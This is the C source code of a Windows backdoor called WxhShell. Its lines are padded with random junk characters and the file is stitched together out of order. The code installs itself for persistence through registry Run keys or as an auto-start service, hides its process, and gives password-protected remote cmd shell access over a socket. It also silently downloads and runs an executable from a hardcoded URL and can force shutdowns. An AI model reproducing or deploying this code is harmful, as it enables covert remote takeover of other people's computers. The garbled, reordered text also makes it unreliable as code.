    ExitThread(0); Q%.F Mf  
    } df@G+v0_1  
    break; Fz1K*xx'  
    } XTS%:S  
  // 获取shell ;^9y#muk  
  case 's': { #@8JYzMq%  
    CmdShell(wsh); {L.=)zt>  
    closesocket(wsh); &KP JB"0L  
    ExitThread(0); p?e-`xs  
    break; ^rssZQKY[  
  } Jt|W%`X>D  
  // 退出 b5t:" >wC  
  case 'x': { MGfIA?u  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0);  >Q% FW  
    CloseIt(wsh); F,/yK-9  
    break; tVqc!][   
    } 1`v$R0 `!  
  // 离开 U2HAIV8  
  case 'q': { *e%(J$t  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ]m@p? A$  
    closesocket(wsh); T)tf!v3v  
    WSACleanup(); C)R#Om  
    exit(1); CA5q(ID_  
    break; .g52p+Z#  
        } 'Z 82+uU%  
  } ' T%70)CM~  
  } }4XXNYH  
x A"V!8C  
  // 提示信息 =5u;\b>*  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >@uFye$  
} &hSF  
  } _ m<@ou7  
]B=2r^fn  
  return; *28:|blbL  
} 4">C0m;ks  
uG{/yJeU  
// shell模块句柄 H0?Vq8I?  
int CmdShell(SOCKET sock) &l _NCo2  
{ |tdsg  
STARTUPINFO si; KvkU]s_  
ZeroMemory(&si,sizeof(si)); K} TSwY  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; OoOr@5g  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 6 6Bx,]"6  
PROCESS_INFORMATION ProcessInfo; K~Z$NS^W&  
char cmdline[]="cmd"; Dhzm C  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); vd#BT$d?  
  return 0; GRj#1OqL  
} B f"L;L  
j V~+=(w)  
// 自身启动模式 Pe)SugCs  
int StartFromService(void) PIZK*Lop  
{ bPUldkB:  
typedef struct ;QqC c!b  
{ /\d@AB^5I  
  DWORD ExitStatus; dz=pL$C  
  DWORD PebBaseAddress; k5o{mWI b  
  DWORD AffinityMask; ]/c!;z  
  DWORD BasePriority; !G~`5?CvE  
  ULONG UniqueProcessId; V6 uh'2  
  ULONG InheritedFromUniqueProcessId; zx`(ojfu  
}   PROCESS_BASIC_INFORMATION; R&FO-{S  
Bf8[(oc~  
PROCNTQSIP NtQueryInformationProcess; '-M9v3itC  
Tjj-8cg  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; )bl^:C  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 0+6=ag%  
cs7K^D;.V  
  HANDLE             hProcess; {I]>!V0j!  
  PROCESS_BASIC_INFORMATION pbi; ]Ia}H+&  
_<6B.{$\7m  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); MD>xRs   
  if(NULL == hInst ) return 0; <P0&!yN  
VJOB+CKE  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); gRg8D{  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); lnv&fu`1P  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); @Jc^ur  
R7 ^f|/l  
  if (!NtQueryInformationProcess) return 0; NQIbav^5  
3B?7h/f  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); dlCmSCp%  
  if(!hProcess) return 0; .'zcD^  
Mc /= Fs  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ,| ~Pa  
CM4#Nn=i~  
  CloseHandle(hProcess); OTD<3Q q  
&Rt^G  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); O[15x H,  
if(hProcess==NULL) return 0; PXo^SHJ+gt  
rH9[x8e  
HMODULE hMod; m*'87a9q0  
char procName[255]; e7M6|6nb  
unsigned long cbNeeded; :aWC6"ik-W  
}$@E pM  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); U)C>^ !Us  
U~O*9  
  CloseHandle(hProcess); /kNSB;  
}T&~DVM  
if(strstr(procName,"services")) return 1; // 以服务启动 /PZxF  
i^}ib RQbN  
  return 0; // 注册表启动 y)mtSA8  
} <Y+>a#T  
m4,inA:o  
// 主模块 hGb SN_F  
int StartWxhshell(LPSTR lpCmdLine) Y} crE/  
{ u+qj_Ej  
  SOCKET wsl; l^R1XBP  
BOOL val=TRUE; MQq!<?/  
  int port=0; hFMT@Gy  
  struct sockaddr_in door; %:yVjb,Yf  
C~R,,  
  if(wscfg.ws_autoins) Install(); X{8g2](z.  
@o>3 Bv.  
port=atoi(lpCmdLine); A 1B_EX.  
z9JZV`dNgz  
if(port<=0) port=wscfg.ws_port; 5Y r$tl\k  
%H3 M0J2L  
  WSADATA data; RKb (  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ')>D*e  
`!y/$7p  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   2q ~y\fe  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); S3ZI C\2  
  door.sin_family = AF_INET; .4XX )f5  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); \?"p]&2UcB  
  door.sin_port = htons(port); tC\(H=ecP  
|nmt /[  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { m.ejGm?  
closesocket(wsl); I 8VCR8q  
return 1; y=LN| vkQ  
} g)nT]+&  
N `[ ?db-%  
  if(listen(wsl,2) == INVALID_SOCKET) { Y?\PU{ O  
closesocket(wsl); kHd`k.nW  
return 1; h@fF`  
} qv3% v3\4  
  Wxhshell(wsl); n a+P|'6  
  WSACleanup(); U3BhoD#f\  
}X~"RQf9  
return 0; ="de+S8W  
c{[lT2yxU  
} 70.Tm#qh  
c+501's  
// 以NT服务方式启动 %PC8}++  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 2k!4oVUN  
{ f"t+r /d  
DWORD   status = 0; Y=Om0=v  
  DWORD   specificError = 0xfffffff; Z31a4O  
gjn1ha"h%.  
  serviceStatus.dwServiceType     = SERVICE_WIN32; _2w8S\  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ~8U0(n:^  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; iJS7g  
  serviceStatus.dwWin32ExitCode     = 0; LvNulMEK  
  serviceStatus.dwServiceSpecificExitCode = 0; GezMqt;2  
  serviceStatus.dwCheckPoint       = 0; dP=,<H#]m  
  serviceStatus.dwWaitHint       = 0; Yb4%W-5  
vGwpDu\RgX  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 5em*9Ko  
  if (hServiceStatusHandle==0) return; v(p<88.!m  
=s&ycc;-5}  
status = GetLastError(); :D~J(Y2  
  if (status!=NO_ERROR) A=r8_.@2@  
{ wY3| 5kbDj  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; p#6tKY;N  
    serviceStatus.dwCheckPoint       = 0; w9675D+  
    serviceStatus.dwWaitHint       = 0; 1v 4M*  
    serviceStatus.dwWin32ExitCode     = status; CI=M0  
    serviceStatus.dwServiceSpecificExitCode = specificError; fWyXy%Qq  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); WWT1_&0  
    return; .$o A~  
  }  vUR gR  
=3dd1n;8>  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; /Ow@CB  
  serviceStatus.dwCheckPoint       = 0; p$mt&,p  
  serviceStatus.dwWaitHint       = 0; fJ&\Z9zY  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ~l]g4iEp  
} "(Nt9K%P)  
m .R**g  
// 处理NT服务事件,比如:启动、停止 Z1{>"o:@  
VOID WINAPI NTServiceHandler(DWORD fdwControl) &]pY~zVc  
{ ?hYWxWW  
switch(fdwControl) ZE9.r`  
{ 1Cw HGO  
case SERVICE_CONTROL_STOP: $e:bDZ(hjj  
  serviceStatus.dwWin32ExitCode = 0; SGu`vN]  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; <u/(7H  
  serviceStatus.dwCheckPoint   = 0; nH B  
  serviceStatus.dwWaitHint     = 0; )r?- _qj=  
  { AWi+xo|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1u"#rC>7.4  
  } 6Ad=#MM  
  return; ;,s9jw  
case SERVICE_CONTROL_PAUSE: IyAD>Q^  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Dt(xj}[tC  
  break; g.\%jDM  
case SERVICE_CONTROL_CONTINUE: -b|"%e<'  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; NryOdt tI  
  break; 45&Rl,2  
case SERVICE_CONTROL_INTERROGATE: -A zOujSS  
  break; k8r1)B4ab  
}; *%*B o9a/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @9R78Zra  
} s6'=4gM  
i!gS]?*DH  
// 标准应用程序主函数 RT${7=  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) o#=C[d5BV  
{ g>l+oH[Tv|  
P#D|CP/Cu  
// 获取操作系统版本 v7\rW{~Jd&  
OsIsNt=GetOsVer(); wD4[UU?  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 2$v8{Y&  
EWr7eH  
  // 从命令行安装  0T^ 0)c  
  if(strpbrk(lpCmdLine,"iI")) Install(); )?pnV":2Y  
UmY{2 nzY  
  // 下载执行文件 Ks<+@.DLTu  
if(wscfg.ws_downexe) { E^$8nqCL:  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) %0 i)l|  
  WinExec(wscfg.ws_filenam,SW_HIDE); 7D1$cmtH  
} %k~ezn  
M93*"jA  
if(!OsIsNt) { N9*:]a  
// 如果时win9x,隐藏进程并且设置为注册表启动 uP(t+}dQ+3  
HideProc(); IUNr<w<  
StartWxhshell(lpCmdLine); 9M5W4&  
} R_\o`v5  
else H \'1.8g/  
  if(StartFromService()) ZCV i ZWo  
  // 以服务方式启动 64]8ykRD-  
  StartServiceCtrlDispatcher(DispatchTable); DEbMb6)U  
else PQa0m)H@  
  // 普通方式启动 tY: Nq*@  
  StartWxhshell(lpCmdLine); zWH)\>X59  
x,zYNNx5g  
return 0; @b,6W wc  
} WdlGnFAWh  
PG}Roj I  
~X3x- nAt  
v5@M 34  
=========================================== &AWrM{e  
u0A$}r$L  
[cco/=c  
_ Yc"{d3S  
3z u6#3^  
*ra>Kl0   
" vbd)L$$20+  
/'5d0' ,M  
#include <stdio.h> kD?@nx>  
#include <string.h> P|Gwt&  
#include <windows.h> &GkD5b  
#include <winsock2.h> 4 Yv:\c  
#include <winsvc.h> l1KgPRmEP  
#include <urlmon.h> +cSc0:  
0{vH.b @  
#pragma comment (lib, "Ws2_32.lib") AI Kz]J0;  
#pragma comment (lib, "urlmon.lib") |xg_z&dX  
=5Nh}o(l?  
#define MAX_USER   100 // 最大客户端连接数 O ;[Mi  
#define BUF_SOCK   200 // sock buffer GM?s8yZ<  
#define KEY_BUFF   255 // 输入 buffer aKWxLe  
^g5E&0a`g  
#define REBOOT     0   // 重启 0zkMRBe  
#define SHUTDOWN   1   // 关机 M=lU`Sm  
5bAdF'~  
#define DEF_PORT   5000 // 监听端口 r-TrA$k  
=&,T@5&-=  
#define REG_LEN     16   // 注册表键长度 4d cm)Xr  
#define SVC_LEN     80   // NT服务名长度 E}v8Q~A(  
} Z FoCMM  
// 从dll定义API |w54!f6w_  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); B+mxM/U[c  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); @c'iT20  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); q7f`:P9~  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ft1#f@b.  
"lLh#W1d  
// wxhshell配置信息 n6+h;+8;]  
struct WSCFG { T!ZjgCY}  
  int ws_port;         // 监听端口  WZY+c  
  char ws_passstr[REG_LEN]; // 口令 (RV#piM  
  int ws_autoins;       // 安装标记, 1=yes 0=no i?;#Z Nh  
  char ws_regname[REG_LEN]; // 注册表键名 nq8XVT.m^\  
  char ws_svcname[REG_LEN]; // 服务名 kfZ`|w@q  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 kLF`6ZXtd  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 [rWBVfm  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 =gD)j&~}_  
int ws_downexe;       // 下载执行标记, 1=yes 0=no X%j`rQk`  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" @j_o CDS  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 h7^&:  
U|V,&RlbR  
}; l`ZL^uT  
.P aDR |!  
// default Wxhshell configuration mL2J  
struct WSCFG wscfg={DEF_PORT, :PW"7|c!  
    "xuhuanlingzhe", $!MP0f\q g  
    1, vI0,6fOd6  
    "Wxhshell", 6?~9{0  
    "Wxhshell", B=L!WGl<!  
            "WxhShell Service", ( _6j@?u  
    "Wrsky Windows CmdShell Service", lZL+j6Q  
    "Please Input Your Password: ", 1W{oj  
  1, J8p;1-C"  
  "http://www.wrsky.com/wxhshell.exe", n]`]gLF\i  
  "Wxhshell.exe" #Iv KI+"  
    }; GdI,&| /  
ye9GBAj /  
// 消息定义模块 2[ofz}k]r)  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; G3io!XM)D  
char *msg_ws_prompt="\n\r? for help\n\r#>"; /MY's&D(  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; vj%"x/TP  
char *msg_ws_ext="\n\rExit."; #e-K It  
char *msg_ws_end="\n\rQuit."; dGm%If9P  
char *msg_ws_boot="\n\rReboot..."; $f0u  
char *msg_ws_poff="\n\rShutdown..."; 19qH WU^0V  
char *msg_ws_down="\n\rSave to "; Pz{MYw  
4KtD  k  
char *msg_ws_err="\n\rErr!"; oI/_WY[t  
char *msg_ws_ok="\n\rOK!"; ][jwy-Uy;  
;_c&J&I  
char ExeFile[MAX_PATH]; =VzJ>!0  
int nUser = 0; j \jMN*dmV  
HANDLE handles[MAX_USER]; hmGlGc,lf  
int OsIsNt; VsL,t\67  
G\dPGPPM  
SERVICE_STATUS       serviceStatus; i/+^C($'f  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Os'E7;:1h  
//BJaWq  
// 函数声明 [|oG}'Xz  
int Install(void); 1C{0 R.  
int Uninstall(void); C/Tk`C&  
int DownloadFile(char *sURL, SOCKET wsh); N=Ct3  
int Boot(int flag); `e<IO_cg  
void HideProc(void); JX&]>#6|E  
int GetOsVer(void); m;l[flQ~  
int Wxhshell(SOCKET wsl); @9| jY1  
void TalkWithClient(void *cs); npltsK):  
int CmdShell(SOCKET sock); 4 H0rS'5d  
int StartFromService(void); +_J@8k  
int StartWxhshell(LPSTR lpCmdLine); F_'{:v1GW  
UX63BA  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); @3KSoA"^  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); =o~+R\1ux+  
yO7y`;Q(sF  
// 数据结构和表定义 DdI%TU K,  
SERVICE_TABLE_ENTRY DispatchTable[] = W9Azp8)p]  
{ lf>d{zd5  
{wscfg.ws_svcname, NTServiceMain}, 9e K~g0m  
{NULL, NULL} aOGoJCt C  
}; p-{ 4 $W  
d9:I.SA)E  
// 自我安装 dY&v(~&;]  
int Install(void) #~nXAs]Q  
{ #1E4 R}B  
  char svExeFile[MAX_PATH]; yKl^-%Uq<  
  HKEY key; H!]&"V77  
  strcpy(svExeFile,ExeFile); -%MXt  
S8dfe~|7:  
// 如果是win9x系统,修改注册表设为自启动 /B?wn=][  
if(!OsIsNt) { aC2Vz9e  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 01-rBto$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); h<3b+*wYJC  
  RegCloseKey(key); 1a(\F 7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2~f*o^%l  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); KPO w  
  RegCloseKey(key); /kG?I_z  
  return 0; rtz-kQ38R  
    } X,l7>>L{g  
  } xbhHP2F |  
} 8A&N+sT  
else { `)y ;7%-  
RNw#s R  
// 如果是NT以上系统,安装为系统服务 bT2c&VPCE  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); {U_ ,y(V  
if (schSCManager!=0) 7QTS@o-  
{ 6AJ`)8HX  
  SC_HANDLE schService = CreateService wE.jf.q  
  ( 1gK^x^l*f  
  schSCManager, 8Pa*d/5Y(  
  wscfg.ws_svcname, '+/mt_re=  
  wscfg.ws_svcdisp, 9ns( F:  
  SERVICE_ALL_ACCESS, wsB-( 0-  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , {l$)X  
  SERVICE_AUTO_START, A4@z+ebb l  
  SERVICE_ERROR_NORMAL, zqdkt `  
  svExeFile, drjNK!XL@  
  NULL, ^2Cqy%x-  
  NULL, 9D\E0YG X/  
  NULL, 98R/ ^\  
  NULL, D? %*L  
  NULL W)r|9G8T  
  ); mv:@D  
  if (schService!=0) ;~:Z~8+{c  
  { + >dC  
  CloseServiceHandle(schService); Uz_ob9l<#H  
  CloseServiceHandle(schSCManager); D.{vuftu  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ==?wG!v2h  
  strcat(svExeFile,wscfg.ws_svcname); [DjlkA/Zg  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { h\@X!Z,  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 3lWGa7<4Z  
  RegCloseKey(key); >g!$H}\  
  return 0; n]#YL4j  
    } !O!:=wq  
  } paV1o>_Rd  
  CloseServiceHandle(schSCManager); b*h:e.q  
} o'$-  
} .jP|b~  
P??P"^hU  
return 1; Vbp@n  
} }|Q\@3&  
kK}?NKqT  
// 自我卸载 B^TgEr  
int Uninstall(void) I/St=-;  
{ x'}z NEXI  
  HKEY key; K{I"2c  
5Xxdm-0  
if(!OsIsNt) { :dbO|]Xf  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Y54yojvV  
  RegDeleteValue(key,wscfg.ws_regname); $> QJ%v9+  
  RegCloseKey(key); {wSz >,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { D]iyr>V6'  
  RegDeleteValue(key,wscfg.ws_regname); YR\(*LJL  
  RegCloseKey(key); C~>0K,C0^  
  return 0; !U4YA1>>  
  } g/$RuT2U  
} G L0P&$h  
} aO inD  
else { r\fkx>  
$ZyOBxI  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ]Gm4gd`  
if (schSCManager!=0) <^> nR3E  
{ ~u0<c:C^  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); /<T{g0s  
  if (schService!=0) {Q$8p2W  
  { M<l<n$rYS  
  if(DeleteService(schService)!=0) { eVMnI yr  
  CloseServiceHandle(schService); ]:F !h2  
  CloseServiceHandle(schSCManager); Xl<*Fn?  
  return 0; @Zhd/=2[  
  } t;3).F  
  CloseServiceHandle(schService); e@O]c "  
  } 5.\|*+E~  
  CloseServiceHandle(schSCManager); 9f& !Uw_W  
} a6 :hH@,  
} k f Y;  
%=K[C  
return 1; !} x-o`a5  
} t; #@t/`  
L"1AC&~ u  
// 从指定url下载文件 @`B_Q v@  
int DownloadFile(char *sURL, SOCKET wsh) 0r$n  
{ R9-mq; u+  
  HRESULT hr; "-:g.x*d  
char seps[]= "/"; PpLh j  
char *token; k&[6Ld0~56  
char *file; >U\P^yU  
char myURL[MAX_PATH]; x3 ( _fS  
char myFILE[MAX_PATH]; op-\|<i  
_@)-#7  
strcpy(myURL,sURL); +,7vbs3  
  token=strtok(myURL,seps); \AI-x$5R*  
  while(token!=NULL) 2Kr8#_) 0  
  { !%(kMN  
    file=token; ^g2Vz4u  
  token=strtok(NULL,seps); -~J5aG[@~>  
  } #_3ZF"[zq  
{ktwX\z  
GetCurrentDirectory(MAX_PATH,myFILE); |G/)<1P  
strcat(myFILE, "\\"); >^,?0HP  
strcat(myFILE, file); ?Ec{%N%  
  send(wsh,myFILE,strlen(myFILE),0); m#_M"B.cm  
send(wsh,"...",3,0); Ue`Y>T7+!  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); BVus3Y5IJQ  
  if(hr==S_OK) jc !V|w^  
return 0; ]i1OssV~>  
else \v{HjqVkC  
return 1; T~ XKV`LQ  
hVFZQJ?cv  
} noB8*n0  
5V/]7>b1  
// 系统电源模块 ZifDU@J$t  
int Boot(int flag) $Dv5TUKw  
{ ,j(E>g3  
  HANDLE hToken; Ix(,gDN  
  TOKEN_PRIVILEGES tkp; |,H 2ge  
G~_D'o<r  
  if(OsIsNt) { &b%2Jx[+  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); bl10kI:F  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Azr|cKu]  
    tkp.PrivilegeCount = 1; 4}*.0'Hz  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 23'<R i  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); R7h3O0@!  
if(flag==REBOOT) { !`W0;0'Zg  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Qk|+Gj  
  return 0; i ;Kax4k  
} Z?&ZgaSz  
else { yVKl%GO  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 7.)_H   
  return 0; 7@k3-?q  
} \W=Z`w3  
  } F$:UvW@e1  
  else { P{J9#.Zq&s  
if(flag==REBOOT) { )7#3n(_np  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 3Tw9Uc\vT  
  return 0; PJ<qqA`!  
} -Oz! GX  
else { J!3;\  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Fo~q35uB  
  return 0; ;nAx@_ab^  
} |942#rM  
} 4+p1`  
-r~9'aEs  
return 1; eE;j#2SEO  
} 8b4? O"  
X%B$*y5  
// win9x进程隐藏模块 mjk<FXW  
void HideProc(void) 9JILK9mVO  
{ @$%.iQ7A;  
KilN`?EJ  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); c]$$ap  
  if ( hKernel != NULL ) fwUF5Y  
  { 8f%OPcr&  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Q{miI N  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 1r*@1y<0"  
    FreeLibrary(hKernel); J^PFhu  
  } R'atg 9  
 s%5XBI  
return; ~u[1Vz4#3  
} n%02,pC6,  
V;Ln|._/t  
// 获取操作系统版本 m<*+^JN  
int GetOsVer(void) )}_}D +2  
{ bhsCeH  
  OSVERSIONINFO winfo; pDhUD}1G  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); N{M25ucAHl  
  GetVersionEx(&winfo); 8R(l~  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Nm%#rZrN~Q  
  return 1; E4_,EeC#  
  else nCA~=[&H  
  return 0; G"6XJYoI  
} #2Iw%H2q&  
EEx:Xk%5hX  
// 客户端句柄模块 Q;nC #cg  
int Wxhshell(SOCKET wsl) KhL%ov  
{ /paZJ}Pr.  
  SOCKET wsh; Ahr  
  struct sockaddr_in client; S5UQ   
  DWORD myID; NJQy*~P  
$}us+hGZ  
  while(nUser<MAX_USER) P{StF`>Y  
{ (rBYE[@,  
  int nSize=sizeof(client); ~HKzqGQy >  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); rD !GEU  
  if(wsh==INVALID_SOCKET) return 1; q; C6ID`  
6/" #pe^  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); .>1Y-NM  
if(handles[nUser]==0) rA8{Q.L  
  closesocket(wsh); Q=#FvsF#z3  
else $Ny:At  
  nUser++; z*cKH$':  
  } _E/  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ]U }B~Y  
aH_FBY  
  return 0; WB `h)  
} HJlxpX$_  
 um2}XI  
// 关闭 socket K@:t6  
void CloseIt(SOCKET wsh) )/2TU]//  
{ i4M%{]G3Y  
closesocket(wsh); J(P'!#z^  
nUser--; >Dz8+y  
ExitThread(0); Zv8_<>e  
} 4sC)hAx&f  
<vxTfE@>bp  
// 客户端请求句柄 "x 3C3Zu.;  
void TalkWithClient(void *cs) 4C*0MV  
{ {Wfwf  
:0bjPQj  
  SOCKET wsh=(SOCKET)cs; 4`Jf_C  
  char pwd[SVC_LEN]; )XoMOz  
  char cmd[KEY_BUFF]; q &S@\b  
char chr[1]; ~Qf\DTM&  
int i,j; G+I->n-s4  
Xxj<Ai 2  
  while (nUser < MAX_USER) { 5s>>] .%  
`f <w+u  
if(wscfg.ws_passstr) { TpdYU*z_Br  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ZQ'|B  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;3%Y@FS@  
  //ZeroMemory(pwd,KEY_BUFF); r-Y7wM`TZ  
      i=0; BQs\!~Ux2  
  while(i<SVC_LEN) { {z9z#8`C;  
gN*b~&G  
  // 设置超时 U_Q;WPJ  
  fd_set FdRead; :lK8i{o  
  struct timeval TimeOut; 6^2='y~e  
  FD_ZERO(&FdRead); $6 4{Ff  
  FD_SET(wsh,&FdRead); 1{1mL-I;  
  TimeOut.tv_sec=8; `\/\C[Gg  
  TimeOut.tv_usec=0; (CAkzgTfc  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); @xk;]H80  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); lwjA07 i  
64^l/D(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $if(n||  
  pwd=chr[0]; z.OJ1vY7  
  if(chr[0]==0xd || chr[0]==0xa) { Yjl:i*u/  
  pwd=0; %_~1(Glz  
  break; _SH~.Mt_!  
  } -"XHN=H  
  i++; *?>52 -&b  
    } ZS`9r16@b  
o|_9%o52'  
  // 如果是非法用户,关闭 socket :b!&Xw$  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); : ?>yi7w  
} o>&-B.zq  
5,\|XQA5!  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); =c%gV]>G  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); k,ezB+  
U8</aQLGF  
while(1) { p }Bh  
<oSx'_dc  
  ZeroMemory(cmd,KEY_BUFF); ]Y$jc  
hZ')<@hNP  
      // 自动支持客户端 telnet标准   }C$D-fH8sW  
  j=0; ]?NiY:v  
  while(j<KEY_BUFF) { @ 0/EKWF  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); eQMa9_  
  cmd[j]=chr[0]; PtGFLM9R  
  if(chr[0]==0xa || chr[0]==0xd) { ~3|)[R=+p1  
  cmd[j]=0; Q<yvpT(  
  break; R?Ch8mW.!  
  } 162Dj$  
  j++; } V"A;5j`  
    } klTRuU(  
f?(g5o*2  
  // 下载文件 2;w> w#}>  
  if(strstr(cmd,"http://")) { AdzdYZiM_  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); MOm+t]vq1  
  if(DownloadFile(cmd,wsh)) y!|4]/G]?t  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?/(*cA  
  else 4~hP25q  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); " ^!=e72  
  } *=Ma5J.  
  else { ]}.|b6\  
?Iag-g9#=m  
    switch(cmd[0]) { a;&0u>  
  >;}(? +|f  
  // 帮助 '"h}l`  
  case '?': { ;Q[E>j?w=  
